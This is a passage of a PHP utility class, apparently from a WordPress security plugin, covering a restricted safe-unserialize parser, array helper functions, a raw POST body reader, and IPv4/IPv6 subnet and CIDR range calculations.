		if (empty($str) || !is_string($str)) { return false; }
		if (strlen($str) > $limit_input_length) { return false; }
		if (!is_serialized($str)) { return false; }
		
		$stack = array();
		$expected = array();
		
		/*
		 * states:
		 *   0 - initial state, expecting a single value or array
		 *   1 - terminal state
		 *   2 - in array, expecting end of array or a key
		 *   3 - in array, expecting value or another array
		 */
		$state = 0;
		while ($state != 1) {
			$type = isset($str[0]) ? $str[0] : '';
			if ($type == '}') {
				$str = substr($str, 1);
			} else if ($type == 'N' && $str[1] == ';') {
				$value = null;
				$str = substr($str, 2);
			} else if ($type == 'b' && preg_match('/^b:([01]);/', $str, $matches)) {
				$value = $matches[1] == '1' ? true : false;
				$str = substr($str, 4);
			} else if ($type == 'i' && preg_match('/^i:(-?[0-9]+);(.*)/s', $str, $matches)) {
				$value = (int) $matches[1];
				$str = $matches[2];
			} else if ($type == 'd' && preg_match('/^d:(-?[0-9]+\.?[0-9]*(E[+-][0-9]+)?);(.*)/s', $str, $matches)) {
				$value = (float) $matches[1];
				$str = $matches[3];
			} else if ($type == 's' && preg_match('/^s:([0-9]+):"(.*)/s', $str, $matches) && substr($matches[2], (int) $matches[1], 2) == '";') {
				$value = substr($matches[2], 0, (int) $matches[1]);
				$str = substr($matches[2], (int) $matches[1] + 2);
			} else if ($type == 'a' && preg_match('/^a:([0-9]+):{(.*)/s', $str, $matches) && $matches[1] < $limit_array_length) {
				$expectedLength = (int) $matches[1];
				$str = $matches[2];
			} else {
				// object or unknown/malformed type
				return false;
			}
			
			switch ($state) {
				case 3: // in array, expecting value or another array
					if ($type == 'a') {
						if (count($stack) >= $limit_array_depth) { return false; }
						
						$stack[] = &$list;
						$list[$key] = array(); //$key is set in state 2
						$list = &$list[$key];
						$expected[] = $expectedLength;
						$state = 2;
						break;
					}
					if ($type != '}') {
						$list[$key] = $value;
						$state = 2;
						break;
					}
					
					// missing array value
					return false;
				
				case 2: // in array, expecting end of array or a key
					if ($type == '}') {
						if (count($list) < end($expected)) {
							// array size less than expected
							return false;
						}
						
						unset($list);
						$list = &$stack[count($stack) - 1];
						array_pop($stack);
						
						// go to terminal state if we're at the end of the root array
						array_pop($expected);
						if (count($expected) == 0) {
							$state = 1;
						}
						break;
					}
					if ($type == 'i' || $type == 's') {
						if (count($list) >= $limit_array_length) { return false; }
						if (count($list) >= end($expected)) { return false; }
						
						$key = $value;
						$state = 3;
						break;
					}
					
					// illegal array index type
					return false;
				
				case 0: // expecting array or value
					if ($type == 'a') {
						if (count($stack) >= $limit_array_depth) { return false; }
						
						$data = array();
						$list = &$data;
						$expected[] = $expectedLength;
						$state = 2;
						break;
					}
					if ($type != '}') {
						$data = $value;
						$state = 1;
						break;
					}
					
					// not in array
					return false;
			}
		}
		
		if (!empty($str)) { return false; } // trailing data in input
		return $data;
	}
	
	/**
	 * Wrapper for _safe_unserialize() that handles multibyte encoding issues
	 *
	 * @param string $str
	 * @return mixed
	 */
	public static function safe_unserialize($str) {
		// ensure we use the byte count for strings even when strlen() is overloaded by mb_strlen()
		if (function_exists('mb_internal_encoding') && (((int) ini_get('mbstring.func_overload')) & 2)) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
			$mbIntEnc = mb_internal_encoding();
			mb_internal_encoding('ASCII');
		}
		
		$out = self::_safe_unserialize($str);
		
		if (isset($mbIntEnc)) {
			mb_internal_encoding($mbIntEnc);
		}
		return $out;
	}
	
	/**
	 * If $value is not null, this returns $value unchanged. Otherwise it returns one of two values:
	 * 1. If $orCallable is a valid callable, it returns the result
	 * 2. Otherwise it returns $default 
	 * 
	 * @param mixed $value
	 * @param mixed $default
	 * @param callable|null $orCallable
	 * @return mixed
	 */
	public static function ifnull($value, $default = '', $orCallable = null) {
		if (is_null($value)) {
			if (is_callable($orCallable)) {
				return $orCallable();
			}
			return $default;
		}
		return $value;
	}
	
	/**
	 * Returns a diff on the passed arrays. The behavior varies based on the content of the arrays themselves and any
	 * flags passed. The resulting structure will be some variant of:
	 * 
	 * ['added' => [...], 'removed' => [...]]
	 * 
	 * 1. If both $a and $b are non-associative arrays, the result will not include keys in `added` and `removed`.
	 * 2. If either or both of $a and $b are associative arrays, the result will include keys that are also factored
	 *    into the comparison.
	 * 
	 * @param array $a
	 * @param array $b
	 * @param int $flags
	 * @return array
	 */
	public static function array_diff($a, $b, $flags = 0) {
		$result = array();
		if (!self::is_assoc($a) && !self::is_assoc($b)) {
			$result['added'] = array_diff($b, $a);
			$result['removed'] = array_diff($a, $b);
		}
		else {
			$result['added'] = self::array_diff_assoc($b, $a);
			$result['removed'] = self::array_diff_assoc($a, $b);
		}
		return $result;
	}
	
	/**
	 * Improved version of array_diff_assoc that handles multidimensional arrays. The resulting array will contain all 
	 * key/values from $a that are not present in $b.
	 * 
	 * For nested arrays, the behavior for inequality is this:
	 * 	- If $a[key] contains values $b[key] does not, an array of those missing values is set for `key` in the result
	 * 	- If $b[key] contains values $a[key] does not, `key` is not present in the result
	 * 
	 * @param array $a
	 * @param array $b
	 * @param int $flags
	 * @return array
	 */
	public static function array_diff_assoc($a, $b, $flags = 0) {
		if (!($flags & self::ARRAY_DIFF_ORDERED_ARRAYS)) { //Treat $a and $b as unordered if they're non-associative
			if (!self::is_assoc($a) && !self::is_assoc($b)) {
				sort($a);
				sort($b);
			}
		}
		
		$result = array();
		foreach ($a as $k => $v) {
			if (array_key_exists($k, $b)) {
				if ($a[$k] == $b[$k]) {
					continue;
				}
				
				if (is_array($a[$k]) && is_array($b[$k])) {
					$diff = self::array_diff($a[$k], $b[$k]);
					if (!empty($diff['removed'])) {
						$result[$k] = $diff['removed'];
					}
					
					continue;
				}
			}
			
			$result[$k] = $v;
		}
		return $result;
	}
	
	/**
	 * Returns the items from $array whose keys are in $keys.
	 * 
	 * @param array $array
	 * @param array|string $keys
	 * @param bool $single Return single-value as-is instead of a one-element array.
	 * @param mixed|null $default Value to return when $single is true and nothing is found.
	 * @return array|mixed
	 */
	public static function array_choose($array, $keys, $single = false, $default = null) {
		if (!is_array($keys)) {
			$keys = array($keys);
		}
		
		if (is_object($array) && (
			$array instanceof ArrayAccess ||
				$array instanceof Traversable ||
				$array instanceof Serializable ||
				$array instanceof Countable)) {
			$array = (array) $array;
		}
		
		$matches = array_filter($array, function($k) use ($keys) {
			return in_array($k, $keys);
		}, ARRAY_FILTER_USE_KEY);
		if ($single) {
			$key = self::array_first($keys);
			if ($key !== null && isset($matches[$key])) {
				return $matches[$key];
			}
			
			return $default;
		}
		return $matches;
	}
	
	/**
	 * Convenience function for `array_choose` in its single return value mode for better code readability.
	 * 
	 * @param array $array
	 * @param string $key
	 * @param mixed|null $default
	 * @return mixed
	 */
	public static function array_get($array, $key, $default = null) {
		return self::array_choose($array, $key, true, $default);
	}
	
	/**
	 * Polyfill for array_key_first.
	 * 
	 * @param array $array
	 * @return mixed|null
	 */
	public static function array_key_first($array) {
		if (function_exists('array_key_first')) {
			return array_key_first($array);
		}
		
		if (!count($array)) {
			return null;
		}
		
		$keys = array_keys($array);
		return $keys[0];
	}
	
	/**
	 * Polyfill for array_key_last.
	 *
	 * @param array $array
	 * @return mixed|null
	 */
	public static function array_key_last($array) {
		if (function_exists('array_key_last')) {
			return array_key_last($array);
		}
		
		if (!count($array)) {
			return null;
		}
		
		$keys = array_keys($array);
		return $keys[count($keys) - 1];
	}
	
	/**
	 * Performs an array_map but then converts the response into an associative array. $callable is expected to return
	 * [$key => $value] rather than just $value as a normal array_map call would. The resulting array will be as if each
	 * were merged in, preserving the $value under $key. Each $key _should_ generally be unique, but if there are 
	 * duplicates, the last key/value pair mapped for a given $key will be the final value in the array.
	 * 
	 * @param callable $callable
	 * @param array $array
	 * @return array
	 */
	public static function array_kmap($callable, $array) {
		$intermediate = array_map($callable, $array);
		$result = array();
		foreach ($intermediate as $i) { //Can't use array_merge because it discards numerical keys
			$k = self::array_key_first($i);
			$v = $i[$k];
			$result[$k] = $v;
		}
		return $result;
	}
	
	
	/**
	 * Returns whether or not $a is an associative-array. It is considered associative only when the array keys are not
	 * sequential integers starting at 0.
	 * 
	 * @param array $a
	 * @return bool
	 */
	public static function is_assoc($a) {
		if (!is_array($a)) { return false; }
		for ($i = 0; $i < count($a); $i++) {
			if (!isset($a[$i])) {
				return true;
			}
		}
		return false;
	}
	
	/**
	 * Returns the raw HTTP POST body if possible. This is functionally identical to the implementation in wfWAFUtils 
	 * but present here to avoid complications with nested install WAF optimization. 
	 * 
	 * @return string
	 */
	public static function rawPOSTBody() {
		// phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
		global $HTTP_RAW_POST_DATA;
		// phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
		if (empty($HTTP_RAW_POST_DATA)) { //Defined if always_populate_raw_post_data is on, PHP < 7, and the encoding type is not multipart/form-data
			$avoidPHPInput = wfWAFConfig::get('avoid_php_input', false);
			if ($avoidPHPInput) { //Some custom PHP builds break reading from php://input
				//Reconstruct the best possible approximation of it from $_POST if populated -- won't help JSON or other raw payloads
				$data = http_build_query($_POST, '', '&');
			}
			else {
				$data = file_get_contents('php://input'); //Available if the encoding type is not multipart/form-data; it can only be read once prior to PHP 5.6 so we save it in $HTTP_RAW_POST_DATA for WP Core and others
				
				//For our purposes, we don't currently need the raw POST body if it's multipart/form-data since the data will be in $_POST/$_FILES. If we did, we could reconstruct the body here.
				
				// phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
				$HTTP_RAW_POST_DATA = $data;
			}
		}
		else {
			// phpcs:ignore PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved
			$data =& $HTTP_RAW_POST_DATA;
		}
		return $data;
	}
	
	/**
	 * Check if an IP address is in a network block
	 *
	 * @param string	$subnet	Single IP or subnet in CIDR notation (e.g. '192.168.100.0' or '192.168.100.0/22')
	 * @param string	$ip		IPv4 or IPv6 address in dot or colon notation
	 * @return boolean
	 */
	public static function subnetContainsIP($subnet, $ip) {
		static $_network_cache = array();
		static $_ip_cache = array();
		static $_masks = array(
			0 => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			1 => "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			2 => "\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			3 => "\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			4 => "\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			5 => "\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			6 => "\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			7 => "\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			8 => "\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			9 => "\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			10 => "\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			11 => "\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			12 => "\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			13 => "\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			14 => "\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			15 => "\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			16 => "\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			17 => "\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			18 => "\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			19 => "\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			20 => "\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			21 => "\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			22 => "\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			23 => "\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			24 => "\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			25 => "\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			26 => "\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			27 => "\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			28 => "\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			29 => "\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			30 => "\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			31 => "\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			32 => "\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			33 => "\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			34 => "\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			35 => "\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			36 => "\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			37 => "\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			38 => "\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			39 => "\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			40 => "\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			41 => "\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			42 => "\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			43 => "\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			44 => "\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			45 => "\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			46 => "\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			47 => "\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			48 => "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			49 => "\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			50 => "\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			51 => "\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			52 => "\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			53 => "\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			54 => "\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			55 => "\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			56 => "\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00",
			57 => "\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00\x00",
			58 => "\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00\x00",
			59 => "\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00\x00",
			60 => "\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00\x00",
			61 => "\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00\x00",
			62 => "\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00\x00",
			63 => "\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00",
			64 => "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00",
			65 => "\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00\x00",
			66 => "\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00\x00",
			67 => "\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00\x00",
			68 => "\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00\x00",
			69 => "\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00\x00",
			70 => "\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00\x00",
			71 => "\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00\x00",
			72 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00",
			73 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00\x00",
			74 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00\x00",
			75 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00\x00",
			76 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00\x00",
			77 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00\x00",
			78 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00\x00",
			79 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00\x00",
			80 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00",
			81 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00\x00",
			82 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00\x00",
			83 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00\x00",
			84 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00\x00",
			85 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00\x00",
			86 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00\x00",
			87 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00\x00",
			88 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00",
			89 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00\x00",
			90 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00\x00",
			91 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00\x00",
			92 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00\x00",
			93 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00\x00",
			94 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00\x00",
			95 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00\x00",
			96 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00",
			97 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00\x00",
			98 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00\x00",
			99 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00\x00",
			100 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00\x00",
			101 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00\x00",
			102 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00\x00",
			103 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00\x00",
			104 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00",
			105 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00\x00",
			106 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00\x00",
			107 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00\x00",
			108 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00\x00",
			109 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00\x00",
			110 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00\x00",
			111 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00\x00",
			112 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00",
			113 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80\x00",
			114 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0\x00",
			115 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0\x00",
			116 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0\x00",
			117 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8\x00",
			118 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc\x00",
			119 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\x00",
			120 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00",
			121 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x80",
			122 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc0",
			123 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xe0",
			124 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf0",
			125 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf8",
			126 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfc",
			127 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe",
			128 => "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff",
		);
		/*
		 * The above is generated by:
		 * 
		   function gen_mask($prefix, $size = 128) {
				//Workaround to avoid overflow, split into four pieces			
				$mask_1 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 1 * $size / 4 - $prefix))) - 1);
				$mask_2 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 2 * $size / 4 - $prefix))) - 1);
				$mask_3 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 3 * $size / 4 - $prefix))) - 1);
				$mask_4 = (pow(2, $size / 4) - 1) ^ (pow(2, min($size / 4, max(0, 4 * $size / 4 - $prefix))) - 1);
				return ($mask_1 ? pack('N', $mask_1) : "\0\0\0\0") . ($mask_2 ? pack('N', $mask_2) : "\0\0\0\0") . ($mask_3 ? pack('N', $mask_3) : "\0\0\0\0") . ($mask_4 ? pack('N', $mask_4) : "\0\0\0\0");
			}
			
			$masks = array();
			for ($i = 0; $i <= 128; $i++) {
				$mask = gen_mask($i);
				$chars = str_split($mask);
				$masks[] = implode('', array_map(function($c) { return '\\x' . bin2hex($c); }, $chars));
			}
			
			echo 'array(' . "\n";
			foreach ($masks as $index => $m) {
				echo "\t{$index} => \"{$m}\",\n";
			}
			echo ')';
		 *
		 */
		
		if (isset($_network_cache[$subnet])) {
			list($bin_network, $prefix, $masked_network) = $_network_cache[$subnet];
			$mask = $_masks[$prefix];
		}
		else {
			list($network, $prefix) = array_pad(explode('/', $subnet, 2), 2, null);
			if (filter_var($network, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
				// If no prefix was supplied, 32 is implied for IPv4
				if ($prefix === null) {
					$prefix = 32;
				}
				
				// Validate the IPv4 network prefix
				if ($prefix < 0 || $prefix > 32) {
					return false;
				}
				
				// Increase the IPv4 network prefix to work in the IPv6 address space
				$prefix += 96;
			}
			else {
				// If no prefix was supplied, 128 is implied for IPv6
				if ($prefix === null) {
					$prefix = 128;
				}
				
				// Validate the IPv6 network prefix
				if ($prefix < 1 || $prefix > 128) {
					return false;
				}
			}
			$mask = $_masks[$prefix];
			$bin_network = self::inet_pton($network);
			$masked_network = $bin_network & $mask;
			$_network_cache[$subnet] = array($bin_network, $prefix, $masked_network);
		}
		
		if (isset($_ip_cache[$ip]) && isset($_ip_cache[$ip][$prefix])) {
			list($bin_ip, $masked_ip) = $_ip_cache[$ip][$prefix];
		}
		else {
			$bin_ip = self::inet_pton($ip);
			$masked_ip = $bin_ip & $mask;
			if (!isset($_ip_cache[$ip])) {
				$_ip_cache[$ip] = array();
			}
			$_ip_cache[$ip][$prefix] = array($bin_ip, $masked_ip);
		}
		
		return ($masked_ip === $masked_network);
	}

	/**
	 * Convert CIDR notation to a wfUserIPRange object
	 *
	 * @param string $cidr
	 * @return wfUserIPRange
	 */
	public static function CIDR2wfUserIPRange($cidr) {
		list($network, $prefix) = array_pad(explode('/', $cidr, 2), 2, null);
		$ip_range = new wfUserIPRange();

		if (filter_var($network, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
			// If no prefix was supplied, 32 is implied for IPv4
			if ($prefix === null) {
				$prefix = 32;
			}

			// Validate the IPv4 network prefix
			if ($prefix < 0 || $prefix > 32) {
				return $ip_range;
			}

			// Increase the IPv4 network prefix to work in the IPv6 address space
			$prefix += 96;
		} else {
			// If no prefix was supplied, 128 is implied for IPv6
			if ($prefix === null) {
				$prefix = 128;
			}

			// Validate the IPv6 network prefix
			if ($prefix < 1 || $prefix > 128) {
				return $ip_range;
			}
		}

		// Convert human readable address to 128 bit (IPv6) binary string
		// Note: self::inet_pton converts IPv4 addresses to IPv6 compatible versions
		$binary_network = self::inet_pton($network);
		$binary_mask = wfHelperBin::str2bin(str_pad(str_repeat('1', $prefix), 128, '0', STR_PAD_RIGHT));

		// Calculate first and last address
		$binary_first = $binary_network & $binary_mask;
		$binary_last = $binary_network | ~ $binary_mask;

		// Convert binary addresses back to human readable strings
		$first = self::inet_ntop($binary_first);
		$last = self::inet_ntop($binary_last);

		if (filter_var($network, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
			$first = self::expandIPv6Address($first);
			$last = self::expandIPv6Address($last);
		}

		// Split addresses into segments
		$first_array = preg_split('/[\.\:]/', $first);
		$last_array = preg_split('/[\.\:]/', $last);

		// Make sure arrays are the same size. IPv6 '::' could cause problems otherwise.
		// The strlen filter should leave zeros in place
		$first_array = array_pad(array_filter($first_array, 'strlen'), count($last_array), '0');

		$range_segments = array();

		foreach ($first_array as $index => $segment) {
			if ($segment === $last_array[$index]) {
				$range_segments[] = str_pad(ltrim($segment, '0'), 1, '0');
			} else if ($segment === '' || $last_array[$index] === '') {
				$range_segments[] = '';
			} else {
				$range_segments[] = "[". str_pad(ltrim($segment, '0'), 1, '0') . "-" .
					str_pad(ltrim($last_array[$index], '0'), 1, '0') . "]";
			}
		}

		$delimiter = filter_var($network, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? '.' : ':';

		$ip_range->setIPString(implode($delimiter, $range_segments));

		return $ip_range;
	}

	/**
	 * Return dot notation of IPv4 address.
	 *
	 * @param int $ip
	 * @return string|bool
	 */
	public static function inet_ntoa($ip) {
		$long = 4294967295 - ($ip - 1);
		return long2ip(-$long);
	}

